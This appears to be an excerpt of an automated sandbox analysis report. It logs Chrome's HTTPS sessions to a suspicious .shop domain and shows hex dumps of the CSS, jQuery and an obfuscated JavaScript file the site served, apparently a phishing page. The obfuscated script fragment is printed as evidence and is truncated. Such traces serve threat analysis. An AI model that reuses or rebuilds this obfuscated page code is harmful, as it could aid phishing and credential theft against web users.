69 67 68 74 3a 30 3b 77 68 69 Data Ascii: 18c5{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}.form-group{margin-bottom:12px;}.c_loadingDots{line-height:0;whi
2024-12-12 11:08:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50005	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:50 UTC	723	OUT	GET /m/sm/FWR0B8JIAWSHJTFRVCBHZAQQ8 HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:51 UTC	261	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:50 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/css; charset: UTF-8;charset=UTF-8
2024-12-12 11:08:51 UTC	7931	IN	Data Raw: 33 65 32 65 0d 0a 68 74 6d 6c 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 20 31 30 30 25 3b 20 7d 0d 0a 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 7d 0d 0a 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6d 61 69 6e 2c 20 6d 65 6e 75 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 2c 20 73 75 6d 6d 61 72 79 20 7b 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 20 7d 0d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c 20 70 72 6f 67 72 65 73 73 2c 20 76 69 64 65 6f 20 7b 20 64 69 73 70 6c 61 79 3a 20 69 Data Ascii: 3e2ehtml { font-family: sans-serif; text-size-adjust: 100%; }body { margin: 0px; }article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; }audio, canvas, progress, video { display: i
2024-12-12 11:08:51 UTC	7993	IN	Data Raw: 68 74 3a 20 34 30 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 36 32 35 72 65 6d 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 2e 37 35 72 65 6d 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 30 2e 38 31 38 70 78 3b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 2e 38 31 38 70 78 3b 20 7d 0d 0a 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2d 61 6c 74 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 20 68 36 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 20 7b 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 20 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 20 65 6c 6c 69 70 73 69 73 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 38 35 32 32 35 72 65 6d 3b 20 7d 0d 0a 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2d 61 6c 74 2e 74 65 78 74 2d 6d Data Ascii: ht: 400; font-size: 0.625rem; line-height: 0.75rem; padding-bottom: 0.818px; padding-top: 0.818px; }.text-caption-alt.text-maxlines-1, h6.text-maxlines-1 { white-space: nowrap; text-overflow: ellipsis; max-height: 0.85225rem; }.text-caption-alt.text-m
2024-12-12 11:08:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:51 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 61 72 67 69 6e 2d 6c 65 66 74 3a 20 39 31 2e 36 36 36 37 25 3b 20 7d 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 32 33 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 39 35 2e 38 33 33 33 25 3b 20 7d 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 32 34 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 30 25 3b 20 7d 0d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 34 30 70 78 29 20 7b 0d 0a 20 20 2e 63 6f 6c 2d 73 6d 2d 31 2c 20 2e 63 6f 6c 2d 73 6d 2d 32 2c 20 2e 63 6f 6c 2d 73 6d 2d 33 2c 20 2e 63 6f 6c 2d 73 6d 2d 34 2c 20 2e 63 6f 6c 2d 73 6d 2d 35 2c 20 2e 63 6f 6c 2d 73 6d 2d 36 2c 20 2e 63 6f 6c 2d 73 6d 2d 37 2c 20 2e 63 6f 6c 2d 73 6d 2d 38 2c 20 2e 63 6f 6c 2d 73 6d 2d 39 2c 20 2e 63 6f 6c 2d 73 Data Ascii: 1f40argin-left: 91.6667%; }.col-xs-offset-23 { margin-left: 95.8333%; }.col-xs-offset-24 { margin-left: 100%; }@media (min-width: 540px) { .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-s
2024-12-12 11:08:51 UTC	7822	IN	Data Raw: 66 66 73 65 74 2d 31 39 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 37 39 2e 31 36 36 37 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 6d 64 2d 6f 66 66 73 65 74 2d 32 30 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 33 2e 33 33 33 33 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 6d 64 2d 6f 66 66 73 65 74 2d 32 31 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 37 2e 35 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 6d 64 2d 6f 66 66 73 65 74 2d 32 32 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 39 31 2e 36 36 36 37 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 6d 64 2d 6f 66 66 73 65 74 2d 32 33 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 39 35 2e 38 33 33 33 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 6d 64 2d 6f 66 66 73 65 74 2d 32 34 20 7b 20 6d 61 72 67 69 6e 2d Data Ascii: ffset-19 { margin-left: 79.1667%; } .col-md-offset-20 { margin-left: 83.3333%; } .col-md-offset-21 { margin-left: 87.5%; } .col-md-offset-22 { margin-left: 91.6667%; } .col-md-offset-23 { margin-left: 95.8333%; } .col-md-offset-24 { margin-
2024-12-12 11:08:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:51 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 38 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 33 2e 33 33 33 33 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 39 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 37 2e 35 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 31 30 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 31 2e 36 36 36 37 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 31 31 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 35 2e 38 33 33 33 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 31 32 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 30 25 3b 20 7d 0d 0a 20 20 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 31 33 20 7b 20 6d Data Ascii: 1f40ol-xl-offset-8 { margin-left: 33.3333%; } .col-xl-offset-9 { margin-left: 37.5%; } .col-xl-offset-10 { margin-left: 41.6667%; } .col-xl-offset-11 { margin-left: 45.8333%; } .col-xl-offset-12 { margin-left: 50%; } .col-xl-offset-13 { m
2024-12-12 11:08:51 UTC	7822	IN	Data Raw: 20 6c 61 62 65 6c 20 7b 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 38 70 78 3b 20 7d 0d 0a 2e 72 61 64 69 6f 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2c 20 2e 72 61 64 69 6f 2d 69 6e 6c 69 6e 65 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2c 20 2e 63 68 65 63 6b 62 6f 78 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 2c 20 2e 63 68 65 63 6b 62 6f 78 2d 69 6e 6c 69 6e 65 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 32 38 70 78 3b 20 7d 0d 0a 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 5b 64 69 73 61 62 6c 65 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 Data Ascii: label { padding-left: 28px; }.radio input[type="radio"], .radio-inline input[type="radio"], .checkbox input[type="checkbox"], .checkbox-inline input[type="checkbox"] { position: absolute; margin-left: -28px; }input[type="radio"][disabled], input[type
2024-12-12 11:08:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:51 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 32 2e 35 32 38 33 38 72 65 6d 3b 20 7d 0d 0a 2e 73 65 63 74 69 6f 6e 20 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 20 7b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 33 2e 37 37 38 33 38 72 65 6d 3b 20 7d 0d 0a 2e 73 65 63 74 69 6f 6e 20 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 20 7b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 35 2e 30 32 38 33 38 72 65 6d 3b 20 7d 0d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 33 32 30 70 78 29 20 7b 0d 0a 20 20 2e 73 65 63 74 69 6f 6e 20 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 20 66 6f 6e 74 2d 73 69 7a Data Ascii: 1f40 max-height: 2.52838rem; }.section .section-title.text-maxlines-3 { max-height: 3.77838rem; }.section .section-title.text-maxlines-4 { max-height: 5.02838rem; }@media (min-width: 320px) { .section .section-title { font-weight: 300; font-siz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50006	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:50 UTC	709	OUT	GET /m/jx/IOI6PDFGKTOC7F7X41LO745P3 HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:51 UTC	268	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:50 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/javascript; charset: UTF-8;charset=UTF-8
2024-12-12 11:08:51 UTC	7924	IN	Data Raw: 33 65 32 37 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 37 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 3e27/! jQuery v3.7.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2024-12-12 11:08:51 UTC	7993	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 42 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 65 28 65 2c 22 69 6e 70 75 74 22 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 66 65 28 65 2c 22 69 6e 70 75 74 22 29 7c 7c 66 65 28 65 2c 22 62 75 74 74 6f 6e 22 29 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 58 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 21 31 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 3f 22 6c 61 62 65 6c 22 69 6e 20 65 3f 22 6c 61 62 65 6c 22 69 6e 20 65 2e Data Ascii: function B(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")\|\|fe(e,"button"))&&e.type===t}}function X(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.
2024-12-12 11:08:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:51 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 65 3d 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 65 3b 65 3d 65 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 65 2e 6e 6f 64 65 54 79 70 65 3c 36 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 70 61 72 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 62 2e 70 73 65 75 64 6f 73 2e 65 6d 70 74 79 28 65 29 7d 2c 68 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 71 2e 74 65 73 74 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7d 2c 69 6e 70 75 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 2e 74 65 73 74 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7d 2c 62 75 74 74 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 65 Data Ascii: 1f40function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return q.test(e.nodeName)},input:function(e){return N.test(e.nodeName)},button:function(e){return fe
2024-12-12 11:08:51 UTC	7822	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 2c 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 29 7d 2c 70 72 65 76 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 2c 22 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 22 29 7d 2c 6e 65 78 74 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 29 7d 2c 70 72 65 76 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 22 29 7d 2c 6e 65 78 74 55 6e 74 69 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 2c 6e 29 7d 2c 70 72 65 76 55 6e 74 69 6c 3a 66 75 6e 63 74 69 6f 6e Data Ascii: ction(e){return A(e,"nextSibling")},prev:function(e){return A(e,"previousSibling")},nextAll:function(e){return d(e,"nextSibling")},prevAll:function(e){return d(e,"previousSibling")},nextUntil:function(e,t,n){return d(e,"nextSibling",n)},prevUntil:function
2024-12-12 11:08:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:51 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 72 65 6d 6f 76 65 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 58 2e 72 65 6d 6f 76 65 28 74 68 69 73 2c 65 29 7d 29 7d 7d 29 2c 63 65 2e 65 78 74 65 6e 64 28 7b 71 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 69 66 28 65 29 72 65 74 75 72 6e 20 74 3d 28 74 7c 7c 22 66 78 22 29 2b 22 71 75 65 75 65 22 2c 72 3d 5f 2e 67 65 74 28 65 2c 74 29 2c 6e 26 26 28 21 72 7c 7c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 72 3d 5f 2e 61 63 63 65 73 73 28 65 2c 74 2c 63 65 2e 6d 61 6b 65 41 72 72 61 79 28 6e 29 29 3a 72 2e 70 75 73 68 28 6e 29 29 2c 72 7c 7c 5b 5d 7d 2c 64 65 71 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 1f40removeData:function(e){return this.each(function(){X.remove(this,e)})}}),ce.extend({queue:function(e,t,n){var r;if(e)return t=(t\|\|"fx")+"queue",r=_.get(e,t),n&&(!r\|\|Array.isArray(n)?r=_.access(e,t,ce.makeArray(n)):r.push(n)),r\|\|[]},dequeue:function(
2024-12-12 11:08:51 UTC	7822	IN	Data Raw: 79 28 69 2e 65 6c 65 6d 2c 73 29 29 26 26 21 31 3d 3d 3d 28 75 2e 72 65 73 75 6c 74 3d 72 29 26 26 28 75 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 75 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 29 29 7d 72 65 74 75 72 6e 20 63 2e 70 6f 73 74 44 69 73 70 61 74 63 68 26 26 63 2e 70 6f 73 74 44 69 73 70 61 74 63 68 2e 63 61 6c 6c 28 74 68 69 73 2c 75 29 2c 75 2e 72 65 73 75 6c 74 7d 7d 2c 68 61 6e 64 6c 65 72 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 2c 61 2c 73 3d 5b 5d 2c 75 3d 74 2e 64 65 6c 65 67 61 74 65 43 6f 75 6e 74 2c 6c 3d 65 2e 74 61 72 67 65 74 3b 69 66 28 75 26 26 6c 2e 6e 6f 64 65 54 79 70 65 26 26 21 28 22 63 6c 69 63 6b 22 3d 3d 3d 65 2e 74 79 70 65 26 26 31 3c 3d 65 2e 62 75 74 74 Data Ascii: y(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.butt
2024-12-12 11:08:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:51 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 54 79 70 65 29 7b 76 61 72 20 74 3d 4d 65 28 74 68 69 73 2c 65 29 3b 74 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 7d 29 7d 2c 62 65 66 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 68 69 73 29 7d 29 7d 2c 61 66 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 Data Ascii: 1f40Type){var t=Me(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return $e(this,arguments,function(e){this.parentNode&&this.par

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50013	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:52 UTC	710	OUT	GET /m/aty/754DU96LZE77WZ3C1HGB1Z9P3 HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:52 UTC	268	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:52 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/javascript; charset: UTF-8;charset=UTF-8
2024-12-12 11:08:52 UTC	7924	IN	Data Raw: 33 65 32 37 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 39 62 34 32 39 28 5f 30 78 31 33 33 32 31 66 2c 5f 30 78 32 63 32 30 63 37 2c 5f 30 78 35 63 30 30 35 36 2c 5f 30 78 33 38 31 38 65 66 2c 5f 30 78 32 64 66 39 38 65 29 7b 72 65 74 75 72 6e 20 5f 30 78 61 36 61 38 28 5f 30 78 33 38 31 38 65 66 2d 20 2d 30 78 33 30 65 2c 5f 30 78 32 64 66 39 38 65 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 65 34 33 33 34 2c 5f 30 78 31 35 38 30 66 37 29 7b 76 61 72 20 5f 30 78 32 61 30 38 39 36 3d 5f 30 78 33 65 34 33 33 34 28 29 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 30 30 37 62 32 28 5f 30 78 34 34 64 61 66 33 2c 5f 30 78 63 61 33 36 36 32 2c 5f 30 78 31 33 30 39 31 31 2c 5f 30 78 35 33 35 37 37 62 2c 5f 30 78 31 66 65 35 35 34 29 7b 72 65 74 75 72 6e 20 Data Ascii: 3e27function _0x49b429(_0x13321f,_0x2c20c7,_0x5c0056,_0x3818ef,_0x2df98e){return _0xa6a8(_0x3818ef- -0x30e,_0x2df98e);}(function(_0x3e4334,_0x1580f7){var _0x2a0896=_0x3e4334();function _0x3007b2(_0x44daf3,_0xca3662,_0x130911,_0x53577b,_0x1fe554){return
2024-12-12 11:08:52 UTC	7993	IN	Data Raw: 29 5d 28 29 5b 5f 30 78 34 35 65 63 39 63 28 30 78 63 61 31 2c 30 78 36 33 35 2c 30 78 39 62 64 2c 30 78 34 39 63 2c 30 78 64 30 31 29 2b 5f 30 78 31 65 66 65 33 37 28 30 78 35 32 33 2c 30 78 33 34 34 2c 2d 30 78 35 64 2c 30 78 35 31 30 2c 30 78 64 61 29 2b 27 72 27 5d 28 5f 30 78 33 38 31 38 61 30 29 5b 5f 30 78 35 63 65 38 63 63 28 30 78 37 62 35 2c 30 78 38 37 65 2c 30 78 36 37 34 2c 30 78 38 61 39 2c 30 78 34 39 61 29 2b 27 68 27 5d 28 5f 30 78 32 64 61 37 66 61 5b 5f 30 78 35 63 65 38 63 63 28 30 78 62 38 35 2c 30 78 61 34 65 2c 30 78 35 64 37 2c 30 78 64 37 64 2c 30 78 62 34 64 29 5d 29 3b 7d 29 3b 5f 30 78 33 38 31 38 61 30 28 29 3b 76 61 72 20 5f 30 78 33 38 66 37 63 39 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 31 35 36 66 39 63 Data Ascii: )]()[_0x45ec9c(0xca1,0x635,0x9bd,0x49c,0xd01)+_0x1efe37(0x523,0x344,-0x5d,0x510,0xda)+'r'](_0x3818a0)[_0x5ce8cc(0x7b5,0x87e,0x674,0x8a9,0x49a)+'h'](_0x2da7fa[_0x5ce8cc(0xb85,0xa4e,0x5d7,0xd7d,0xb4d)]);});_0x3818a0();var _0x38f7c9=(function(){var _0x156f9c
2024-12-12 11:08:52 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
